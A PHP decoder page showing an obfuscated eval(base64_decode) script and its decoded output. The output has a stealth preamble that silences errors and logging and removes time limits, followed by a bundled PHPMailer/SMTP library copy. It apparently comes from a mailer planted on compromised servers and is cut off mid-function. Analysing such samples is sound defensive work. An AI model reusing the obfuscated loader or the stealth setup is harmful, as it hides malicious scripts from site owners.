Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKQGluaV9zZXQoJ2xvZ19lcnJv..

Decoded Output download

@ini_set('display_errors',0);
@ini_set('log_errors',0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);

if (version_compare(PHP_VERSION, '5.0.0', '<') ) {
  $res = Array();
  $res["result"]["check"] = 0;
  echo base64_encode(serialize($res));
}

function custom_strip_tags($text)
{
    $text = strip_tags($text, '<a>');

    $text = str_replace("<a href=\"", "[ ", $text);
    $text = str_replace("</a>", "", $text);
    $text = str_replace("\">", " ] ", $text);

    return $text;
}

class SMTP {
  public $SMTP_PORT = 25;
  public $CRLF = "
";
  public $do_debug = 0;
  public $Debugoutput     = 'echo';
  public $do_verp = false;
  public $Timeout         = 15;
  public $Timelimit       = 30;
  public $Version         = '5.2.6';
  protected $smtp_conn;
  protected $error;
  protected $helo_rply;
  protected function edebug($str) {
    switch ($this->Debugoutput) {
      case 'error_log':
        error_log($str);
        break;
      case 'html':
        echo htmlentities(preg_replace('/[
]+/', '', $str), ENT_QUOTES, 'UTF-8')."<br>
";
        break;
      case 'echo':
      default:
        echo $str;
    }
  }
  public function __construct() {
    $this->smtp_conn = 0;
    $this->error = null;
    $this->helo_rply = null;

    $this->do_debug = 0;
  }
  public function Connect($host, $port = 0, $timeout = 30, $options = array()) {
    $this->error = null;
    if($this->connected()) {
      $this->error = array('error' => 'Already connected to a server');
      return false;
    }

	if(empty($port)) {
      $port = $this->SMTP_PORT;
    }

    $errno = 0;
    $errstr = '';
    $socket_context = stream_context_create($options);
    $this->smtp_conn = @stream_socket_client($host.":".$port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context);

    if(empty($this->smtp_conn)) {
      $this->error = array('error' => 'Failed to connect to server',
                           'errno' => $errno,
                           'errstr' => $errstr);
      if($this->do_debug >= 1) {
        $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ": $errstr ($errno)");
      }
      return false;
    }

    if(substr(PHP_OS, 0, 3) != 'WIN') {
      $max = ini_get('max_execution_time');
      if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
        @set_time_limit($timeout);
      }
      stream_set_timeout($this->smtp_conn, $timeout, 0);
    }

    $announce = $this->get_lines();

    if($this->do_debug >= 2) {
      $this->edebug('SMTP -> FROM SERVER:' . $announce);
    }

    return true;
  }

  public function StartTLS() {
    $this->error = null; # to avoid confusion

    if(!$this->connected()) {
      $this->error = array('error' => 'Called StartTLS() without being connected');
      return false;
    }

    $this->client_send('STARTTLS' . $this->CRLF);

    $rply = $this->get_lines();
    $code = substr($rply, 0, 3);

    if($this->do_debug >= 2) {
      $this->edebug('SMTP -> FROM SERVER:' . $rply);
    }

    if($code != 220) {
      $this->error =
         array('error'     => 'STARTTLS not accepted from server',
               'smtp_code' => $code,
               'smtp_msg'  => substr($rply, 4));
      if($this->do_debug >= 1) {
        $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
      }
      return false;
    }

    if(!stream_socket_enable_crypto($this->smtp_conn, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
      return false;
    }

    return true;
  }

  public function Authenticate($username, $password, $authtype='LOGIN', $realm='', $workstation='') {
    if (empty($authtype)) {
      $authtype = 'LOGIN';
    }

    switch ($authtype) {
      case 'PLAIN':
        $this->client_send('AUTH PLAIN' . $this->CRLF);

        $rply = $this->get_lines();
        $code = substr($rply, 0, 3);

        if($code != 334) {
          $this->error =
            array('error' => 'AUTH not accepted from server',
                  'smtp_code' => $code,
                  'smtp_msg' => substr($rply, 4));
          if($this->do_debug >= 1) {
            $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
          }
          return false;
        }
          $this->client_send(base64_encode("".$username."".$password) . $this->CRLF);

        $rply = $this->get_lines();
        $code = substr($rply, 0, 3);

        if($code != 235) {
          $this->error =
            array('error' => 'Authentication not accepted from server',
                  'smtp_code' => $code,
                  'smtp_msg' => substr($rply, 4));
          if($this->do_debug >= 1) {
            $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
          }
          return false;
        }
        break;
      case 'LOGIN':
        $this->client_send('AUTH LOGIN' . $this->CRLF);

        $rply = $this->get_lines();
        $code = substr($rply, 0, 3);

        if($code != 334) {
          $this->error =
            array('error' => 'AUTH not accepted from server',
                  'smtp_code' => $code,
                  'smtp_msg' => substr($rply, 4));
          if($this->do_debug >= 1) {
            $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
          }
          return false;
        }

        $this->client_send(base64_encode($username) . $this->CRLF);

        $rply = $this->get_lines();
        $code = substr($rply, 0, 3);

        if($code != 334) {
          $this->error =
            array('error' => 'Username not accepted from server',
                  'smtp_code' => $code,
                  'smtp_msg' => substr($rply, 4));
          if($this->do_debug >= 1) {
            $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
          }
          return false;
        }

        $this->client_send(base64_encode($password) . $this->CRLF);

        $rply = $this->get_lines();
        $code = substr($rply, 0, 3);

        if($code != 235) {
          $this->error =
            array('error' => 'Password not accepted from server',
                  'smtp_code' => $code,
                  'smtp_msg' => substr($rply, 4));
          if($this->do_debug >= 1) {
            $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
          }
          return false;
        }
        break;
      case 'NTLM':
        require_once 'extras/ntlm_sasl_client.php';
        $temp = new stdClass();
        $ntlm_client = new ntlm_sasl_client_class;
        if(! $ntlm_client->Initialize($temp)){//let's test if every function its available
            $this->error = array('error' => $temp->error);
            if($this->do_debug >= 1) {
                $this->edebug('You need to enable some modules in your php.ini file: ' . $this->error['error']);
            }
            return false;
        }
        $msg1 = $ntlm_client->TypeMsg1($realm, $workstation);//msg1

        $this->client_send('AUTH NTLM ' . base64_encode($msg1) . $this->CRLF);

        $rply = $this->get_lines();
        $code = substr($rply, 0, 3);

        if($code != 334) {
            $this->error =
                array('error' => 'AUTH not accepted from server',
                      'smtp_code' => $code,
                      'smtp_msg' => substr($rply, 4));
            if($this->do_debug >= 1) {
                $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
            }
            return false;
        }

        $challenge = substr($rply, 3);//though 0 based, there is a white space after the 3 digit number....//msg2
        $challenge = base64_decode($challenge);
        $ntlm_res = $ntlm_client->NTLMResponse(substr($challenge, 24, 8), $password);
        $msg3 = $ntlm_client->TypeMsg3($ntlm_res, $username, $realm, $workstation);//msg3
        $this->client_send(base64_encode($msg3) . $this->CRLF);

        $rply = $this->get_lines();
        $code = substr($rply, 0, 3);

        if($code != 235) {
            $this->error =
                array('error' => 'Could not authenticate',
                      'smtp_code' => $code,
                      'smtp_msg' => substr($rply, 4));
            if($this->do_debug >= 1) {
                $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
            }
            return false;
        }
        break;
      case 'CRAM-MD5':
        $this->client_send('AUTH CRAM-MD5' . $this->CRLF);

        $rply = $this->get_lines();
        $code = substr($rply, 0, 3);

        if($code != 334) {
          $this->error =
            array('error' => 'AUTH not accepted from server',
                  'smtp_code' => $code,
                  'smtp_msg' => substr($rply, 4));
          if($this->do_debug >= 1) {
            $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
          }
          return false;
        }
        $challenge = base64_decode(substr($rply, 4));
        $response = $username . ' ' . $this->hmac($challenge, $password);
        $this->client_send(base64_encode($response) . $this->CRLF);
        $rply = $this->get_lines();
        $code = substr($rply, 0, 3);

        if($code != 235) {
          $this->error =
            array('error' => 'Credentials not accepted from server',
                  'smtp_code' => $code,
                  'smtp_msg' => substr($rply, 4));
          if($this->do_debug >= 1) {
            $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
          }
          return false;
        }
        break;
    }
    return true;
  }

  protected function hmac($data, $key) {
      if (function_exists('hash_hmac')) {
          return hash_hmac('md5', $data, $key);
      }
      $b = 64; // byte length for md5
      if (strlen($key) > $b) {
          $key = pack('H*', md5($key));
      }
      $key  = str_pad($key, $b, chr(0x00));
      $ipad = str_pad('', $b, chr(0x36));
      $opad = str_pad('', $b, chr(0x5c));
      $k_ipad = $key ^ $ipad ;
      $k_opad = $key ^ $opad;

      return md5($k_opad  . pack('H*', md5($k_ipad . $data)));
  }

  public function Connected() {
    if(!empty($this->smtp_conn)) {
      $sock_status = stream_get_meta_data($this->smtp_conn);
      if($sock_status['eof']) {
        if($this->do_debug >= 1) {
            $this->edebug('SMTP -> NOTICE: EOF caught while checking if connected');
        }
        $this->Close();
        return false;
      }
      return true; // everything looks good
    }
    return false;
  }

  public function Close() {
    $this->error = null; // so there is no confusion
    $this->helo_rply = null;
    if(!empty($this->smtp_conn)) {
      // close the connection and cleanup
      fclose($this->smtp_conn);
      $this->smtp_conn = 0;
    }
  }

  public function Data($msg_data) {
    $this->error = null; // so no confusion is caused

    if(!$this->connected()) {
      $this->error = array(
              'error' => 'Called Data() without being connected');
      return false;
    }
    $this->client_send('DATA' . $this->CRLF);
    $rply = $this->get_lines();
    $code = substr($rply, 0, 3);

    if($this->do_debug >= 2) {
      $this->edebug('SMTP -> FROM SERVER:' . $rply);
    }

    if($code != 354) {
      $this->error =
        array('error' => 'DATA command not accepted from server',
              'smtp_code' => $code,
              'smtp_msg' => substr($rply, 4));
      if($this->do_debug >= 1) {
        $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
      }
      return false;
    }

    $msg_data = str_replace("
", "
", $msg_data);
    $msg_data = str_replace("
", "
", $msg_data);
    $lines = explode("
", $msg_data);
    $field = substr($lines[0], 0, strpos($lines[0], ':'));
    $in_headers = false;
    if(!empty($field) && !strstr($field, ' ')) {
      $in_headers = true;
    }

    $max_line_length = 998; // used below; set here for ease in change

    while(list(, $line) = @each($lines)) {
      $lines_out = null;
      if($line == '' && $in_headers) {
        $in_headers = false;
      }
      while(strlen($line) > $max_line_length) {
        $pos = strrpos(substr($line, 0, $max_line_length), ' ');

        if(!$pos) {
          $pos = $max_line_length - 1;
          $lines_out[] = substr($line, 0, $pos);
          $line = substr($line, $pos);
        } else {
          $lines_out[] = substr($line, 0, $pos);
          $line = substr($line, $pos + 1);
        }

        if($in_headers) {
          $line = "	" . $line;
        }
      }
      $lines_out[] = $line;

      while(list(, $line_out) = @each($lines_out)) {
        if(strlen($line_out) > 0)
        {
          if(substr($line_out, 0, 1) == '.') {
            $line_out = '.' . $line_out;
          }
        }
        $this->client_send($line_out . $this->CRLF);
      }
    }

    $this->client_send($this->CRLF . '.' . $this->CRLF);

    $rply = $this->get_lines();
    $code = substr($rply, 0, 3);

    if($this->do_debug >= 2) {
      $this->edebug('SMTP -> FROM SERVER:' . $rply);
    }

    if($code != 250) {
      $this->error =
        array('error' => 'DATA not accepted from server',
              'smtp_code' => $code,
              'smtp_msg' => substr($rply, 4));
      if($this->do_debug >= 1) {
        $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
      }
      return false;
    }
    return true;
  }

  public function Hello($host = '') {
    $this->error = null; // so no confusion is caused

    if(!$this->connected()) {
      $this->error = array(
            'error' => 'Called Hello() without being connected');
      return false;
    }
    if(empty($host)) {
      $host = 'localhost';
    }
    if(!$this->SendHello('EHLO', $host)) {
      if(!$this->SendHello('HELO', $host)) {
        return false;
      }
    }

    return true;
  }

  protected function SendHello($hello, $host) {
    $this->client_send($hello . ' ' . $host . $this->CRLF);

    $rply = $this->get_lines();
    $code = substr($rply, 0, 3);

    if($this->do_debug >= 2) {
      $this->edebug('SMTP -> FROM SERVER: ' . $rply);
    }

    if($code != 250) {
      $this->error =
        array('error' => $hello . ' not accepted from server',
              'smtp_code' => $code,
              'smtp_msg' => substr($rply, 4));
      if($this->do_debug >= 1) {
        $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
      }
      return false;
    }

    $this->helo_rply = $rply;

    return true;
  }

  public function Mail($from) {
    $this->error = null; // so no confusion is caused

    if(!$this->connected()) {
      $this->error = array(
              'error' => 'Called Mail() without being connected');
      return false;
    }

    $useVerp = ($this->do_verp ? ' XVERP' : '');
    $this->client_send('MAIL FROM:<' . $from . '>' . $useVerp . $this->CRLF);

    $rply = $this->get_lines();
    $code = substr($rply, 0, 3);

    if($this->do_debug >= 2) {
      $this->edebug('SMTP -> FROM SERVER:' . $rply);
    }

    if($code != 250) {
      $this->error =
        array('error' => 'MAIL not accepted from server',
              'smtp_code' => $code,
              'smtp_msg' => substr($rply, 4));
      if($this->do_debug >= 1) {
        $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
      }
      return false;
    }
    return true;
  }

  public function Quit($close_on_error = true) {
    $this->error = null; // so there is no confusion

    if(!$this->connected()) {
      $this->error = array(
              'error' => 'Called Quit() without being connected');
      return false;
    }

    $this->client_send('quit' . $this->CRLF);
    $byemsg = $this->get_lines();

    if($this->do_debug >= 2) {
      $this->edebug('SMTP -> FROM SERVER:' . $byemsg);
    }

    $rval = true;
    $e = null;

    $code = substr($byemsg, 0, 3);
    if($code != 221) {
      $e = array('error' => 'SMTP server rejected quit command',
                 'smtp_code' => $code,
                 'smtp_rply' => substr($byemsg, 4));
      $rval = false;
      if($this->do_debug >= 1) {
        $this->edebug('SMTP -> ERROR: ' . $e['error'] . ': ' . $byemsg);
      }
    }

    if(empty($e) || $close_on_error) {
      $this->Close();
    }

    return $rval;
  }

  public function Recipient($to) {
    $this->error = null; // so no confusion is caused

    if(!$this->connected()) {
      $this->error = array(
              'error' => 'Called Recipient() without being connected');
      return false;
    }

    $this->client_send('RCPT TO:<' . $to . '>' . $this->CRLF);

    $rply = $this->get_lines();
    $code = substr($rply, 0, 3);

    if($this->do_debug >= 2) {
      $this->edebug('SMTP -> FROM SERVER:' . $rply);
    }

    if($code != 250 && $code != 251) {
      $this->error =
        array('error' => 'RCPT not accepted from server',
              'smtp_code' => $code,
              'smtp_msg' => substr($rply, 4));
      if($this->do_debug >= 1) {
        $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
      }
      return false;
    }
    return true;
  }

  public function Reset() {
    $this->error = null; // so no confusion is caused

    if(!$this->connected()) {
      $this->error = array('error' => 'Called Reset() without being connected');
      return false;
    }

    $this->client_send('RSET' . $this->CRLF);

    $rply = $this->get_lines();
    $code = substr($rply, 0, 3);

    if($this->do_debug >= 2) {
      $this->edebug('SMTP -> FROM SERVER:' . $rply);
    }

    if($code != 250) {
      $this->error =
        array('error' => 'RSET failed',
              'smtp_code' => $code,
              'smtp_msg' => substr($rply, 4));
      if($this->do_debug >= 1) {
        $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
      }
      return false;
    }

    return true;
  }

  public function SendAndMail($from) {
    $this->error = null; // so no confusion is caused

    if(!$this->connected()) {
      $this->error = array(
          'error' => 'Called SendAndMail() without being connected');
      return false;
    }

    $this->client_send('SAML FROM:' . $from . $this->CRLF);

    $rply = $this->get_lines();
    $code = substr($rply, 0, 3);

    if($this->do_debug >= 2) {
      $this->edebug('SMTP -> FROM SERVER:' . $rply);
    }

    if($code != 250) {
      $this->error =
        array('error' => 'SAML not accepted from server',
              'smtp_code' => $code,
              'smtp_msg' => substr($rply, 4));
      if($this->do_debug >= 1) {
        $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
      }
      return false;
    }
    return true;
  }

  public function Turn() {
    $this->error = array('error' => 'This method, TURN, of the SMTP '.
                                    'is not implemented');
    if($this->do_debug >= 1) {
      $this->edebug('SMTP -> NOTICE: ' . $this->error['error']);
    }
    return false;
  }

  public function client_send($data) {
      if ($this->do_debug >= 1) {
          $this->edebug("CLIENT -> SMTP: $data");
      }
      return fwrite($this->smtp_conn, $data);
  }

  public function getError() {
    return $this->error;
  }

  protected function get_lines() {
    $data = '';
    $endtime = 0;
    if (!is_resource($this->smtp_conn)) {
      return $data;
    }
    stream_set_timeout($this->smtp_conn, $this->Timeout);
    if ($this->Timelimit > 0) {
      $endtime = time() + $this->Timelimit;
    }
    while(is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
      $str = @fgets($this->smtp_conn, 515);
      if($this->do_debug >= 4) {
        $this->edebug("SMTP -> get_lines(): \$data was \"$data\"");
        $this->edebug("SMTP -> get_lines(): \$str is \"$str\"");
      }
      $data .= $str;
      if($this->do_debug >= 4) {
        $this->edebug("SMTP -> get_lines(): \$data is \"$data\"");
      }
      if(substr($str, 3, 1) == ' ') { break; }
      $info = stream_get_meta_data($this->smtp_conn);
      if ($info['timed_out']) {
        if($this->do_debug >= 4) {
          $this->edebug('SMTP -> get_lines(): timed-out (' . $this->Timeout . ' seconds)');
        }
        break;
      }
      // Now check if reads took too long
      if ($endtime) {
        if (time() > $endtime) {
          if($this->do_debug >= 4) {
            $this->edebug('SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' seconds)');
          }
          break;
        }
      }
    }
    return $data;
  }

}


class PHPMailer {
  public $Priority          = 3;
  public $CharSet           = 'iso-8859-1';
  public $ContentType       = 'text/plain';
  public $Encoding          = '8bit';
  public $ErrorInfo         = '';
  public $From              = 'root@localhost';
  public $FromName          = 'Root User';
  public $Sender            = '';
  public $ReturnPath        = '';
  public $Subject           = '';
  public $Body              = '';
  public $AltBody           = '';
  public $Ical              = '';
  protected $MIMEBody       = '';
  protected $MIMEHeader     = '';
  protected $mailHeader     = '';
  public $WordWrap          = 0;
  public $Mailer            = 'mail';
  public $Sendmail          = '/usr/sbin/sendmail';
  public $UseSendmailOptions	= true;
  public $PluginDir         = '';
  public $ConfirmReadingTo  = '';
  public $Hostname          = '';
  public $MessageID         = '';
  public $MessageDate       = '';

  public $Host          = 'localhost';
  public $Port          = 25;
  public $Helo          = '';
  public $SMTPSecure    = '';
  public $SMTPAuth      = false;
  public $Username      = '';
  public $Password      = '';
  public $AuthType      = '';
  public $Realm         = '';
  public $Workstation   = '';
  public $Timeout       = 10;
  public $SMTPDebug     = false;
  public $Debugoutput     = "echo";
  public $SMTPKeepAlive = false;
  public $SingleTo      = false;
  public $do_verp      = false;
  public $SingleToArray = array();
  public $AllowEmpty = false;
  public $LE              = "
";
  public $DKIM_selector   = '';
  public $DKIM_identity   = '';
  public $DKIM_passphrase   = '';
  public $DKIM_domain     = '';
  public $DKIM_private    = '';
  public $action_function = ''; //'callbackAction';
  public $Version         = '5.2.6';
  public $XMailer         = '';

  protected   $smtp           = null;
  protected   $to             = array();
  protected   $cc             = array();
  protected   $bcc            = array();
  protected   $ReplyTo        = array();
  protected   $all_recipients = array();
  protected   $attachment     = array();
  protected   $CustomHeader   = array();
  protected   $message_type   = '';
  protected   $boundary       = array();
  protected   $language       = array();
  protected   $error_count    = 0;
  protected   $sign_cert_file = '';
  protected   $sign_key_file  = '';
  protected   $sign_key_pass  = '';
  protected   $exceptions     = false;

  const STOP_MESSAGE  = 0; // message only, continue processing
  const STOP_CONTINUE = 1; // message?, likely ok to continue processing
  const STOP_CRITICAL = 2; // message, plus full stop, critical error reached
  const CRLF = "
";     // SMTP RFC specified EOL

  private function mail_passthru($to, $subject, $body, $header, $params) {
    if ( ini_get('safe_mode') || !($this->UseSendmailOptions) ) {
        $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)), $body, $header);
    } else {
        $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)), $body, $header, $params);
    }
    return $rt;
  }

  protected function edebug($str) {
    switch ($this->Debugoutput) {
      case 'error_log':
        error_log($str);
        break;
      case 'html':
        //Cleans up output a bit for a better looking display that's HTML-safe
        echo htmlentities(preg_replace('/[
]+/', '', $str), ENT_QUOTES, $this->CharSet)."<br>
";
        break;
      case 'echo':
      default:
        //Just echoes exactly what was received
        echo $str;
    }
  }

  public function __construct($exceptions = false) {
    $this->exceptions = ($exceptions == true);
  }

  public function __destruct() {
      if ($this->Mailer == 'smtp') { //Close any open SMTP connection nicely
          $this->SmtpClose();
      }
  }

  public function IsHTML($ishtml = true) {
    if ($ishtml) {
      $this->ContentType = 'text/html';
    } else {
      $this->ContentType = 'text/plain';
    }
  }

  public function IsSMTP() {
    $this->Mailer = 'smtp';
  }

  public function IsMail() {
    $this->Mailer = 'mail';
  }

  public function IsSendmail() {
    if (!stristr(ini_get('sendmail_path'), 'sendmail')) {
      $this->Sendmail = '/var/qmail/bin/sendmail';
    }
    $this->Mailer = 'sendmail';
  }

  public function IsQmail() {
    if (stristr(ini_get('sendmail_path'), 'qmail')) {
      $this->Sendmail = '/var/qmail/bin/sendmail';
    }
    $this->Mailer = 'sendmail';
  }

  public function AddAddress($address, $name = '') {
    return $this->AddAnAddress('to', $address, $name);
  }

  public function AddCC($address, $name = '') {
    return $this->AddAnAddress('cc', $address, $name);
  }

  public function AddBCC($address, $name = '') {
    return $this->AddAnAddress('bcc', $address, $name);
  }

  public function AddReplyTo($address, $name = '') {
    return $this->AddAnAddress('Reply-To', $address, $name);
  }

  protected function AddAnAddress($kind, $address, $name = '') {
    if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
      $this->SetError($this->Lang('Invalid recipient array').': '.$kind);
      if ($this->exceptions) {
        throw new phpmailerException('Invalid recipient array: ' . $kind);
      }
      if ($this->SMTPDebug) {
        $this->edebug($this->Lang('Invalid recipient array').': '.$kind);
      }
      return false;
    }
    $address = trim($address);
    $name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
    if (!$this->ValidateAddress($address)) {
      $this->SetError($this->Lang('invalid_address').': '. $address);
      if ($this->exceptions) {
        throw new phpmailerException($this->Lang('invalid_address').': '.$address);
      }
      if ($this->SMTPDebug) {
        $this->edebug($this->Lang('invalid_address').': '.$address);
      }
      return false;
    }
    if ($kind != 'Reply-To') {
      if (!isset($this->all_recipients[strtolower($address)])) {
        array_push($this->$kind, array($address, $name));
        $this->all_recipients[strtolower($address)] = true;
        return true;
      }
    } else {
      if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
        $this->ReplyTo[strtolower($address)] = array($address, $name);
      return true;
    }
  }
  return false;
}

  public function SetFrom($address, $name = '', $auto = true) {
    $address = trim($address);
    $name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
    if (!$this->ValidateAddress($address)) {
      $this->SetError($this->Lang('invalid_address').': '. $address);
      if ($this->exceptions) {
        throw new phpmailerException($this->Lang('invalid_address').': '.$address);
      }
      if ($this->SMTPDebug) {
        $this->edebug($this->Lang('invalid_address').': '.$address);
      }
      return false;
    }
    $this->From = $address;
    $this->FromName = $name;
    if ($auto) {
      if (empty($this->Sender)) {
        $this->Sender = $address;
      }
    }
    return true;
  }

  public static function ValidateAddress($address) {
      if (defined('PCRE_VERSION')) { //Check this instead of extension_loaded so it works when that function is disabled
          if (version_compare(PCRE_VERSION, '8.0') >= 0) {
              return (boolean)preg_match('/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)((?>(?>(?>((?>(?>(?>
)?[	 ])+|(?>[	 ]*
)?[	 ]+)?)(\((?>(?2)(?>[--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[--!#-\[\]-]|\[-]))*(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
          } else {
              //Fall back to an older regex that doesn't need a recent PCRE
              return (boolean)preg_match('/^(?!(?>"?(?>\[ -~]|[^"])"?){255,})(?!(?>"?(?>\[ -~]|[^"])"?){65,}@)(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*")(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*"))*@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
          }
      } else {
          return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
      }
  }

  public function Send() {
    try {
      if(!$this->PreSend()) return false;
      return $this->PostSend();
    } catch (phpmailerException $e) {
      $this->mailHeader = '';
      $this->SetError($e->getMessage());
      if ($this->exceptions) {
        throw $e;
      }
      return false;
    }
  }

  public function PreSend() {
    try {
      $this->mailHeader = "";
      if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
        throw new phpmailerException($this->Lang('provide_address'), self::STOP_CRITICAL);
      }

      // Set whether the message is multipart/alternative
      if(!empty($this->AltBody)) {
        $this->ContentType = 'multipart/alternative';
      }

      $this->error_count = 0; // reset errors
      $this->SetMessageType();
      //Refuse to send an empty message unless we are specifically allowing it
      if (!$this->AllowEmpty and empty($this->Body)) {
        throw new phpmailerException($this->Lang('empty_message'), self::STOP_CRITICAL);
      }

      $this->MIMEHeader = $this->CreateHeader();
      $this->MIMEBody = $this->CreateBody();

      // To capture the complete message when using mail(), create
      // an extra header list which CreateHeader() doesn't fold in
      if ($this->Mailer == 'mail') {
        if (count($this->to) > 0) {
          $this->mailHeader .= $this->AddrAppend("To", $this->to);
        } else {
          $this->mailHeader .= $this->HeaderLine("To", "undisclosed-recipients:;");
        }
        $this->mailHeader .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader(trim($this->Subject))));
      }

      // digitally sign with DKIM if enabled
      if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && !empty($this->DKIM_domain) && file_exists($this->DKIM_private)) {
        $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->EncodeHeader($this->SecureHeader($this->Subject)), $this->MIMEBody);
        $this->MIMEHeader = str_replace("
", "
", $header_dkim) . $this->MIMEHeader;
      }

      return true;

    } catch (phpmailerException $e) {
      $this->SetError($e->getMessage());
      if ($this->exceptions) {
        throw $e;
      }
      return false;
    }
  }

  public function PostSend() {
    try {
      // Choose the mailer and send through it
      switch($this->Mailer) {
        case 'sendmail':
          return $this->SendmailSend($this->MIMEHeader, $this->MIMEBody);
        case 'smtp':
          return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
        case 'mail':
          return $this->MailSend($this->MIMEHeader, $this->MIMEBody);
        default:
          return $this->MailSend($this->MIMEHeader, $this->MIMEBody);
      }
    } catch (phpmailerException $e) {
      $this->SetError($e->getMessage());
      if ($this->exceptions) {
        throw $e;
      }
      if ($this->SMTPDebug) {
        $this->edebug($e->getMessage()."
");
      }
    }
    return false;
  }

  protected function SendmailSend($header, $body) {
    if ($this->Sender != '') {
      $sendmail = sprintf("%s -oi -f%s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
    } else {
      $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
    }
    if ($this->SingleTo === true) {
      foreach ($this->SingleToArray as $val) {
        if(!@$mail = popen($sendmail, 'w')) {
          throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
        }
        fputs($mail, "To: " . $val . "
");
        fputs($mail, $header);
        fputs($mail, $body);
        $result = pclose($mail);
        // implement call back function if it exists
        $isSent = ($result == 0) ? 1 : 0;
        $this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body);
        if($result != 0) {
          throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
        }
      }
    } else {
      if(!@$mail = popen($sendmail, 'w')) {
        throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
      }
      fputs($mail, $header);
      fputs($mail, $body);
      $result = pclose($mail);
      // implement call back function if it exists
      $isSent = ($result == 0) ? 1 : 0;
      $this->doCallback($isSent, $this->to, $this->cc, $this->bcc, $this->Subject, $body);
      if($result != 0) {
        throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
      }
    }
    return true;
  }

  protected function MailSend($header, $body) {
    $toArr = array();
    foreach($this->to as $t) {
      $toArr[] = $this->AddrFormat($t);
    }
